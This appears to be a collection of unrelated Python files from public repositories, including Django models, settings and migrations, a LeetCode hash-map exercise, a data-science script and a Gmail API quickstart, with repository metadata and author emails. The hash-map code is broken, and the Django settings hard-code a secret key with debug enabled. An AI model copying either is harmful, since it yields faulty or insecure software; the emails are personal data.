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from django.conf import settings from django.db import models class Course(models.Model): "Generated Model" author = models.ForeignKey( "users.User", on_delete=models.CASCADE, related_name="course_author", ) title = models.CharField(null=True, blank=True, max_length=256,) description = models.TextField(null=True, blank=True,) categories = models.ManyToManyField( "course.Category", blank=True, related_name="course_categories", ) class Lesson(models.Model): "Generated Model" module = models.ForeignKey( "course.Module", on_delete=models.CASCADE, related_name="lesson_module", ) title = models.CharField(max_length=256,) description = models.TextField() media = models.URLField() class Category(models.Model): "Generated Model" name = models.CharField(max_length=256,) class Enrollment(models.Model): "Generated Model" user = models.ForeignKey( "users.User", on_delete=models.CASCADE, related_name="enrollment_user", ) course = models.ForeignKey( "course.Course", on_delete=models.CASCADE, related_name="enrollment_course", ) class Event(models.Model): "Generated Model" name = models.CharField(max_length=256,) user = models.ForeignKey( "users.User", on_delete=models.CASCADE, related_name="event_user", ) date = models.DateTimeField() class Module(models.Model): "Generated Model" course = models.ForeignKey( "course.Course", on_delete=models.CASCADE, related_name="module_course", ) title = models.CharField(max_length=256,) description = models.TextField() class SubscriptionType(models.Model): "Generated Model" name = models.CharField(max_length=256,) class Recording(models.Model): "Generated Model" event = models.ForeignKey( "course.Event", on_delete=models.CASCADE, related_name="recording_event", ) media = models.URLField() user = models.ForeignKey( "users.User", on_delete=models.CASCADE, related_name="recording_user", ) published = models.DateTimeField() class Group(models.Model): "Generated Model" name = models.CharField(max_length=256,) class Subscription(models.Model): "Generated Model" subscription_type = models.ForeignKey( "course.SubscriptionType", on_delete=models.CASCADE, related_name="subscription_subscription_type", ) user = models.ForeignKey( "users.User", on_delete=models.CASCADE, related_name="subscription_user", ) class PaymentMethod(models.Model): "Generated Model" user = models.ForeignKey( "users.User", on_delete=models.CASCADE, related_name="paymentmethod_user", ) primary = models.BooleanField() token = models.CharField(max_length=256,) # Create your models here.

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# Time Complexity : # Space Complexity : # Did this code successfully run on Leetcode : # Any problem you faced while coding this : # Your code here along with comments explaining your approach class linkedListNode: def __init__(self, k, v): self.key = k self.value = v self.next = None class MyHashMap: def __init__(self): """ Initialize your data structure here. """ self.hashMap = [None for _ in range(1000)] def put(self, key: int, value: int) -> None: """ value will always be non-negative. """ hIndex = key//1000 if self.hashMap[hIndex] is None: self.hashMap[hIndex] = linkedListNode(key, value) else: curr = self.hashMap[hIndex] while curr.next is not None: curr = curr.next curr.next = linkedListNode(key, value) def get(self, key: int) -> int: """ Returns the value to which the specified key is mapped, or -1 if this map contains no mapping for the key """ hIndex = key//1000 curr = self.getPrev(self.hashMap[hIndex], key) if curr.next is None: return -1 else: return curr.next.value def remove(self, key: int) -> None: """ Removes the mapping of the specified value key if this map contains a mapping for the key """ curr = self.getPrev(self.hashMap[hIndex], key) if curr.next is not None: curr.next = curr.next.next def getPrev(self, node, key): prev = None while node.key != key and node.next is not None: prev = node node = node.next return prev # Your MyHashMap object will be instantiated and called as such: key, value = 10023, 65461 obj = MyHashMap() obj.put(key,value) param_2 = obj.get(key) print(param_2) obj.remove(key)

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bkartavya07@gmail.com

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""" Django settings for mysite project. Generated by 'django-admin startproject' using Django 1.11. For more information on this file, see https://docs.djangoproject.com/en/1.11/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/1.11/ref/settings/ """ import os # Build paths inside the project like this: os.path.join(BASE_DIR, ...) BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) # Quick-start development settings - unsuitable for production # See https://docs.djangoproject.com/en/1.11/howto/deployment/checklist/ # SECURITY WARNING: keep the secret key used in production secret! SECRET_KEY = 'bpe@xbij_g9s*v#xz_7)%3b%s1e_z0$p!w+8tqd64r84mlw$o&' # SECURITY WARNING: don't run with debug turned on in production! DEBUG = True ALLOWED_HOSTS = [] # Application definition INSTALLED_APPS = [ 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', 'bookmark.apps.BookmarkConfig', 'blog.apps.BlogConfig', ] MIDDLEWARE = [ 'django.middleware.security.SecurityMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware', ] ROOT_URLCONF = 'mysite.urls' TEMPLATES = [ { 'BACKEND': 'django.template.backends.django.DjangoTemplates', 'DIRS': [os.path.join(BASE_DIR, 'templates')] , 'APP_DIRS': True, 'OPTIONS': { 'context_processors': [ 'django.template.context_processors.debug', 'django.template.context_processors.request', 'django.contrib.auth.context_processors.auth', 'django.contrib.messages.context_processors.messages', ], }, }, ] WSGI_APPLICATION = 'mysite.wsgi.application' # Database # https://docs.djangoproject.com/en/1.11/ref/settings/#databases DATABASES = { 'default': { 'ENGINE': 'django.db.backends.sqlite3', 'NAME': os.path.join(BASE_DIR, 'db.sqlite3'), } } # Password validation # https://docs.djangoproject.com/en/1.11/ref/settings/#auth-password-validators AUTH_PASSWORD_VALIDATORS = [ { 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator', }, { 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', }, { 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator', }, { 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator', }, ] # Internationalization # https://docs.djangoproject.com/en/1.11/topics/i18n/ LANGUAGE_CODE = 'en-us' TIME_ZONE = 'Asia/Seoul' USE_I18N = True USE_L10N = True USE_TZ = True # Static files (CSS, JavaScript, Images) # https://docs.djangoproject.com/en/1.11/howto/static-files/ STATIC_URL = '/static/' STATICFILES_DIRS = [os.path.join(BASE_DIR, 'static')] MEDIA_URL = '/media/' MEDIA_ROOT = os.path.join(BASE_DIR, 'media')

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#!/usr/bin/python3 # Guessing a float number num = 10.000 user_num = float(input('Try to guess the float number: ')) if user_num == 10.001 or user_num == 9.999: print('You were close.') elif user_num != 10.001 and user_num != 9.999: print('You were not close.') elif user_num == num: print('That\'s correct.') else: print('You were no close.')

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## General imports import numpy as np import pandas as pd import os,inspect import math # Get this current script file's directory: loc = os.path.dirname(os.path.abspath(inspect.getfile(inspect.currentframe()))) # Set working directory os.chdir(loc) os.chdir('..') # parent directory from myFunctions import gen_FTN_data from meSAX import * os.chdir(loc) # change back to loc # from dtw_featurespace import * # from dtw import dtw # from fastdtw import fastdtw # to avoid tk crash import matplotlib matplotlib.use('Qt5Agg') import matplotlib.pyplot as plt from mpl_toolkits.mplot3d import Axes3D ## generate data # set random seed np.random.seed(0) # my sample data x_mean1 = 0 y_mean1 = 0 x_mean2 = 45 y_mean2 = 13 x_mean3 = 7 y_mean3 = 40 N1 = 100 N2 = 100 N3 = 100 # coords1 = np.random.uniform(0,12,(N1,2)) # coords2 = np.random.uniform(0,5,(N2,2)) coords1 = np.random.randn(N1,2) * 16 coords2 = np.random.randn(N2,2) * 4 coords3 = np.random.randn(N3,2) * 1 outliers = np.array([15,15,23,12]).reshape(2,2) coords = np.empty((N1+N2+N3+outliers.shape[0],2)) coords[:N1] = coords1 + (x_mean1,y_mean1) coords[N1:(N1+N2)] = coords2 + (x_mean2,y_mean2) coords[(N1+N2):-2] = coords3 + (x_mean3,y_mean3) coords[-2:] = outliers # # sklearn example data # n_points_per_cluster = 250 # # C1 = [-5, -2] + .8 * np.random.randn(n_points_per_cluster, 2) # C2 = [4, -1] + .1 * np.random.randn(n_points_per_cluster, 2) # C3 = [1, -2] + .2 * np.random.randn(n_points_per_cluster, 2) # C4 = [-2, 3] + .3 * np.random.randn(n_points_per_cluster, 2) # C5 = [3, -2] + 1.6 * np.random.randn(n_points_per_cluster, 2) # C6 = [5, 6] + 2 * np.random.randn(n_points_per_cluster, 2) # coords = np.vstack((C1, C2, C3, C4, C5, C6)) ## from sklearn.neighbors import LocalOutlierFactor from sklearn.ensemble import IsolationForest LOF = LocalOutlierFactor(n_neighbors=20) iForest = IsolationForest() LOF.fit(coords) lof_labels = LOF.fit_predict(coords) iForest.fit(coords) iforest_labels = iForest.predict(coords) lof_scores = LOF.negative_outlier_factor_ LOF.threshold_ if_scores = iForest.decision_function(coords) iForest.threshold_ # plot normalized scores plt.figure() plt.plot((lof_scores - np.mean(lof_scores))/np.std(lof_scores)) plt.plot((if_scores - np.mean(if_scores))/np.std(if_scores)) plt.hlines((LOF.threshold_ - np.mean(lof_scores))/np.std(lof_scores),xmin=0,xmax=coords.shape[0],color='steelblue') plt.hlines((iForest.threshold_ - np.mean(if_scores))/np.std(if_scores),xmin=0,xmax=coords.shape[0],color='coral') plt.show()

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GIT_REPO_URI = 'git@github.com:mne-tools/mne-bids-pipeline'

[ "richard.hoechenberger@gmail.com" ]

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Complex-data/Predicting-Restaurant-Closure-Through-Deep-Concept-Explainable-Model

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from __future__ import absolute_import from __future__ import division from __future__ import print_function import argparse def build_parser(): """ This function produces the default argparser. Note that NOT all args are actively used. I used a generic argparser for all my projects, so you will surely see something that is not used. The important arguments are provided in the main readme. """ parser = argparse.ArgumentParser() ps = parser.add_argument ps("--dataset", dest="dataset", type=str, default='dianping', help="Which dataset?") ps("--rnn_type", dest="rnn_type", type=str, metavar='<str>', default='RAW_MSE_CAML_FN_FM', help="Compositional model name") ps("--opt", dest="opt", type=str, metavar='<str>', default='Adam', help="Optimization algorithm)") ps("--emb_size", dest="emb_size", type=int, metavar='<int>', default=30, help="Embeddings dimension (default=50)") ps("--rnn_size", dest="rnn_size", type=int, metavar='<int>', default=30, help="model-specific dimension. (default=50)") ps("--rnn_dim", dest="rnn_dim", type=int, metavar='<int>', default=30, help="model-specific dimension. (default=50)") ps("--latent_size", dest="latent_size", type=int, metavar='<int>', default=30, help="latent factor dimension for user/items. (default=50)") ps("--key_word_lambda", dest="key_word_lambda", type=float, metavar='<float>', default=1.0, help="The key word generation loss weight.") ps("--use_lower", dest="use_lower", type=int, metavar='<int>', default=1, help="Use all lowercase") ps("--batch-size", dest="batch_size", type=int, metavar='<int>', default=128, help="Batch size (default=128)") ps("--allow_growth", dest="allow_growth", type=int, metavar='<int>', default=0, help="Allow Growth") ps("--dev_lr", dest='dev_lr', type=int, metavar='<int>', default=0, help="Dev Learning Rate") ps("--rnn_layers", dest="rnn_layers", type=int, metavar='<int>', default=1, help="Number of RNN layers") ps("--decay_epoch", dest="decay_epoch", type=int, metavar='<int>', default=0, help="Decay everywhere n epochs") ps("--num_proj", dest="num_proj", type=int, metavar='<int>', default=1, help="Number of projection layers") ps("--factor", dest="factor", type=int, metavar='<int>', default=10, help="Number of factors (for FM model)") ps("--dropout", dest="dropout", type=float, metavar='<float>', default=0.8, help="The dropout probability.") ps("--gen_lambda", dest="gen_lambda", type=float, metavar='<float>', default=1.0, help="The generationg loss weight.") ps("--rnn_dropout", dest="rnn_dropout", type=float, metavar='<float>', default=0.8, help="The dropout probability.") ps("--emb_dropout", dest="emb_dropout", type=float, metavar='<float>', default=0.8, help="The dropout probability.") ps("--pretrained", dest="pretrained", type=int, metavar='<int>', default=0, help="Whether to use pretrained embeddings or not") ps("--epochs", dest="epochs", type=int, metavar='<int>', default=50, help="Number of epochs (default=50)") ps('--gpu', dest='gpu', type=int, metavar='<int>', default=0, help="Specify which GPU to use (default=0)") ps("--hdim", dest='hdim', type=int, metavar='<int>', default=30, help="Hidden layer size (default=50)") ps("--lr", dest='learn_rate', type=float, metavar='<float>', default=1E-3, help="Learning Rate") ps("--clip_norm", dest='clip_norm', type=int, metavar='<int>', default=1, help="Clip Norm value for gradients") ps("--trainable", dest='trainable', type=int, metavar='<int>', default=1, help="Trainable Word Embeddings (0|1)") ps('--l2_reg', dest='l2_reg', type=float, metavar='<float>', default=1E-6, help='L2 regularization, default=4E-6') ps('--eval', dest='eval', type=int, metavar='<int>', default=1, help='Epoch to evaluate results (default=1)') ps('--log', dest='log', type=int, metavar='<int>', default=1, help='1 to output to file and 0 otherwise') ps('--dev', dest='dev', type=int, metavar='<int>', default=1, help='1 for development set 0 to train-all') ps('--seed', dest='seed', type=int, default=1337, help='random seed (not used)') ps('--num_heads', dest='num_heads', type=int, default=1, help='number of heads') ps("--hard", dest="hard", type=int, metavar='<int>', default=1, help="Use hard att when using gumbel") ps('--word_aggregate', dest='word_aggregate', type=str, default='MAX', help='pooling type for key word loss') ps("--average_embed", dest="average_embed", type=int, metavar='<int>', default=1, help="Use average embedding of all reviews") ps("--word_gumbel", dest="word_gumbel", type=int, metavar='<int>', default=0, help="Use gumbel in the word(concept) level") ps("--data_prepare", dest="data_prepare", type=int, metavar='<int>', default=0, help="Data preparing type") ps("--feed_rating", dest="feed_rating", type=int, metavar='<int>', default=0, help="0 no feed, 1 feed groundtruth, 2 feed predicted rate") ps("--masking", dest="masking", type=int, metavar='<int>', default=1, help="Use masking and padding") ps("--concept", dest="concept", type=int, metavar='<int>', default=1, help="Use concept correlated components or not") ps("--len_penalty", dest="len_penalty", type=int, metavar='<int>', default=2, help="Regularization type for length balancing in beam search") ps("--implicit", dest="implicit", type=int, metavar='<int>', default=0, help="Use implicit factor or not") ps("--category", dest="category", type=int, metavar='<int>', default=0, help="Use item category factor or not") ps("--heterougenous", dest="heterougenous", type=int, metavar='<int>', default=0, help="Use item heterougenous factor or not") ps("--att_reuse", dest="att_reuse", type=int, metavar='<int>', default=0, help="Re-use attention or not") ps('--tensorboard', action='store_true', help='To use tensorboard or not (may not work)') ps('--early_stop', dest='early_stop', type=int, metavar='<int>', default=5, help='early stopping') ps('--wiggle_lr', dest='wiggle_lr', type=float, metavar='<float>', default=1E-5, help='Wiggle lr') ps('--wiggle_after', dest='wiggle_after', type=int, metavar='<int>', default=0, help='Wiggle lr') ps('--wiggle_score', dest='wiggle_score', type=float, metavar='<float>', default=0.0, help='Wiggle score') ps('--translate_proj', dest='translate_proj', type=int, metavar='<int>', default=1, help='To translate project or not') ps('--eval_train', dest='eval_train', type=int, metavar='<int>', default=1, help='To eval on train set or not') #ps('--data_link', dest='data_link', type=str, default='./data/City_4', #ps('--data_link', dest='data_link', type=str, default='./data/City_7/new_5_City_7', #ps('--data_link', dest='data_link', type=str, default='./data/City_2/clean_City_2', #ps('--data_link', dest='data_link', type=str, default='./data/City_2/clean_4_City_2', #ps('--data_link', dest='data_link', type=str, default='./data/City_2/clean_5_City_2', #ps('--data_link', dest='data_link', type=str, default='./data/City_1/clean_City_1', #ps('--data_link', dest='data_link', type=str, default='./data/City_1/clean_3_City_1', #ps('--data_link', dest='data_link', type=str, default='./data/City_1/clean_4_City_1', #ps('--data_link', dest='data_link', type=str, default='./data/City_1/clean_5_City_1', #ps('--data_link', dest='data_link', type=str, default='./data/all_cities', #ps('--data_link', dest='data_link', type=str, default='./data/City_4/clean_3_City_4', #ps('--data_link', dest='data_link', type=str, default='./data/City_4/clean_4_City_4', #ps('--data_link', dest='data_link', type=str, default='./data/City_5/clean_City_5', ps('--data_link', dest='data_link', type=str, default='./data/City_4/clean_n_a_City_4', #ps('--data_link', dest='data_link', type=str, default='./data/City_10/clean_City_10', #ps('--data_link', dest='data_link', type=str, default='./data/City_4/clean_new_6_City_4', #ps('--data_link', dest='data_link', type=str, default='./data/movie_100', help='data link') ps('--att_type', dest='att_type', type=str, default='SOFT', help='attention type') ps('--att_pool', dest='att_pool', type=str, default='MAX', help='pooling type for attention') ps('--word_pooling', dest='word_pooling', type=str, default='MEAN', help='pooling type for word attention') ps('--num_class', dest='num_class', type=int, default=2, help='self explainatory..(not used for recommendation)') ps('--all_dropout', action='store_true', default=True, help='to dropout the embedding layer or not') ps("--qmax", dest="qmax", type=int, metavar='<int>', default=40, help="Max Length of Question (not used in rec)") ps("--char_max", dest="char_max", type=int, metavar='<int>', default=4, help="Max length of characters") ps("--amax", dest="amax", type=int, metavar='<int>', default=40, help="Max Length for Answer (not used in rec)") ps("--smax", dest="smax", type=int, metavar='<int>', default=30, help="Max Length of Sentences (per review)") ps("--gmax", dest="gmax", type=int, metavar='<int>', default=30, help="Max Length of Generated Reviews (per review)") ps("--dmax", dest="dmax", type=int, metavar='<int>', default=20, help="Max Number of documents (or reviews)") ps("--num_neg", dest="num_neg", type=int, metavar='<int>', default=6, help="Number of negative samples for pairwise training") ps('--base_encoder', dest='base_encoder', default='GLOVE', help='BaseEncoder for hierarchical models') ps("--init", dest="init", type=float, metavar='<float>', default=0.01, help="Init Params") ps("--temperature", dest="temperature", type=float, metavar='<float>', default=0.5, help="Temperature") ps("--num_inter_proj", dest="num_inter_proj", type=int, metavar='<int>', default=6, help="Number of inter projection layers") ps("--num_com", dest="num_com", type=int, metavar='<int>', default=1, help="Number of compare layers") ps("--show_att", dest="show_att", type=int, metavar='<int>', default=0, help="Display Attention") ps("--write_qual", dest="write_qual", type=int, metavar='<int>', default=0, help="write qual") ps("--show_affinity", dest="show_affinity", type=int, metavar='<int>', default=0, help="Display Affinity Matrix") ps("--init_type", dest="init_type", type=str, metavar='<str>', default='xavier', help="Init Type") ps("--decay_lr", dest="decay_lr", type=float, metavar='<float>', default=0, help="Decay Learning Rate") ps("--decay_steps", dest="decay_steps", type=float, metavar='<float>', default=0, help="Decay Steps (manual)") ps("--decay_stairs", dest="decay_stairs", type=float, metavar='<float>', default=1, help="To use staircase or not") ps('--emb_type', dest='emb_type', type=str, default='glove', help='embedding type') ps('--log_dir', dest='log_dir', type=str, default='City_1_logs', help='log directory') ps('--gen_dir', dest='gen_dir', type=str, default='City_1_logs', help='gen rouge file directory') ps('--ref_dir', dest='gen_dir', type=str, default='City_1_logs', help='ref rouge file directory') ps('--model', dest='model', type=str, default='City_1_logs', help='model path') ps('--gen_true_dir', dest='gen_true_dir', type=str, default='City_1_logs/explanation', help='gen true rouge file directory') ps("--beam_size", dest="beam_size", type=int, metavar='<int>', default=4, help="beam search size") ps("--beam_number", dest="beam_number", type=int, metavar='<int>', default=4, help="beam search number") ps('--view_output', dest='view_output', type=str, default='City_1_logs/explanation', help='view output') #default='all_cities_logs/explanation', help='view output') return parser

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#!/Users/jmtroll/Desktop/Misy350/python/songbase-1/songbase/venv/bin/python # -*- coding: utf-8 -*- import re import sys from flask.cli import main if __name__ == '__main__': sys.argv[0] = re.sub(r'(-script\.pyw?|\.exe)?$', '', sys.argv[0]) sys.exit(main())

[ "jmtroll@udel.edu" ]

jmtroll@udel.edu

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tadiparChinese/ucpbciif

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refs/heads/master

2023-03-21T21:41:26.872229

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# Generated by Django 2.1.7 on 2020-05-14 07:07 from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('borrowers', '0005_auto_20200513_0653'), ] operations = [ migrations.RenameField( model_name='standingcommittee', old_name='yearsInCooop', new_name='yearsInCoop', ), ]

[ "krystjyn.enriquez@gmail.com" ]

krystjyn.enriquez@gmail.com

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kylinRao/djangowebbuild

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from __future__ import print_function import httplib2 import os from apiclient import discovery import oauth2client from oauth2client import client from oauth2client import tools try: import argparse flags = argparse.ArgumentParser(parents=[tools.argparser]).parse_args() except ImportError: flags = None # If modifying these scopes, delete your previously saved credentials # at ~/.credentials/gmail-python-quickstart.json SCOPES = 'https://www.googleapis.com/auth/gmail.readonly' CLIENT_SECRET_FILE = 'client_secret.json' APPLICATION_NAME = 'Gmail API Python Quickstart' def get_credentials(): """Gets valid user credentials from storage. If nothing has been stored, or if the stored credentials are invalid, the OAuth2 flow is completed to obtain the new credentials. Returns: Credentials, the obtained credential. """ home_dir = os.path.expanduser('~') credential_dir = os.path.join(home_dir, '.credentials') if not os.path.exists(credential_dir): os.makedirs(credential_dir) credential_path = os.path.join(credential_dir, 'gmail-python-quickstart.json') store = oauth2client.file.Storage(credential_path) credentials = store.get() if not credentials or credentials.invalid: flow = client.flow_from_clientsecrets(CLIENT_SECRET_FILE, SCOPES) flow.user_agent = APPLICATION_NAME if flags: credentials = tools.run_flow(flow, store, flags) else: # Needed only for compatibility with Python 2.6 credentials = tools.run(flow, store) print('Storing credentials to ' + credential_path) return credentials def main(): """Shows basic usage of the Gmail API. Creates a Gmail API service object and outputs a list of label names of the user's Gmail account. """ credentials = get_credentials() http = credentials.authorize(httplib2.Http()) service = discovery.build('gmail', 'v1', http=http) results = service.users().labels().list(userId='me').execute() labels = results.get('labels', []) if not labels: print('No labels found.') else: print('Labels:') for label in labels: print(label['name']) if __name__ == '__main__': main()

[ "975168367@qq.com" ]

975168367@qq.com

6c5e70a7d16afe0964cf1c6742205d3fd6d8e7a4

ca24277734fc7a02d155f7d8b15e8e1b9888cef0

/Instagram/migrations/0012_post_likes.py

c02f54982bd3cb0614d8eec5eda9b084da4e7b9e

[]

no_license

kvs-rajawat-bh/mtechProject

d64d574a1bbed732724707ecda275a9073dbe8ef

7042379e97bd4514f9ebda8e50e189e81cf20411

refs/heads/master

2020-04-21T11:24:09.214037

2019-02-12T04:17:32

169,523,926

0

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382

py

# Generated by Django 2.1.5 on 2019-02-11 20:24 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('Instagram', '0011_auto_20190211_2150'), ] operations = [ migrations.AddField( model_name='post', name='likes', field=models.IntegerField(default=0), ), ]

[ "kvs.rajawat.bh@gmail.com" ]

kvs.rajawat.bh@gmail.com